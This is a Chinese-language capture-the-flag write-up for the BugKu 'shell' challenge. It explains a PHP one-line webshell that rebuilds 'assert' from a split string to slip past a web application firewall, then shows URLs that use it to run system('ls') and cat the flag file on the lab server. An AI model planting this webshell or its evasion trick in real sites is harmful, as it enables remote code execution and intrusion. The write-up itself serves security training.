BugKu——shell

一、题目

二、方法

  • 提示中给了php代码:
php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

解析:
$poc = "a#s#s#e#r#t";

explode("#", $poc) 以 # 为分隔符,把字符串拆成数组:

php
$poc_1 = ["a", "s", "s", "e", "r", "t"];
然后拼接:

php
$poc_2 = "a"."s"."s"."e"."r"."t";  // 即 "assert"
最后执行:

php
assert($_GET['s']);
所以,这实际上是一个 assert 一句话木马,通过 GET 参数 s 传入代码并执行。
  • 过狗一句话什么意思?
    • "狗"通常指 安全狗(SafeDog) 之类的 WAF(Web 应用防火墙)。
    bash 复制代码
    直接写 assert($_GET['s']) 会被 WAF 拦截,因为 assert 是危险函数,$_GET 也是敏感特征。
    • 出题人用 explode + 字符串拼接的方式,把 assert 拆成 a#s#s#e#r#t,运行时才拼成 assert,从而绕过 WAF 的静态特征检测。这就是"过狗"的含义。
  • 既然 assert($_GET's') 会执行我们传入的代码,那么我们可以通过 ?s=... 来执行任意 PHP 代码。
  • 先用 PHP 函数读取文件,找到一个flag的txt文件。
html 复制代码
http://160.202.254.160:11145/?s=system('ls');
  • 查看该文件,得到flag。
html 复制代码
http://160.202.254.160:11145/?s=system('cat flaga15808abee46a1d5.txt');
相关推荐
黄金龙PLUS6 小时前
5个1024比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
XUEYUAN52126 天前
ASN 自治系统号风控:平台如何通过 IP 所属自治域批量识别代理流量
python·网络协议·http·网络安全·socks5
其实防守也摸鱼6 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
TechEdu2026066 天前
[人工智能]人工智能时代的零日漏洞与零日攻击
人工智能·网络安全·ai·信息安全
程序员若风6 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
菩提小狗6 天前
每日安全情报报告 · 2026-09-21
网络安全·漏洞·cve·安全情报·每日安全
数安旭说7 天前
从“堆叠工具”到“一体化治理”:端点安全的技术演进与实践观察
网络安全·系统架构·数据安全·企业安全·端点安全·防泄密·一体化管理
白猫不黑7 天前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
菩提小狗7 天前
每日安全情报报告 · 2026-09-17
网络安全·漏洞·cve·安全情报·每日安全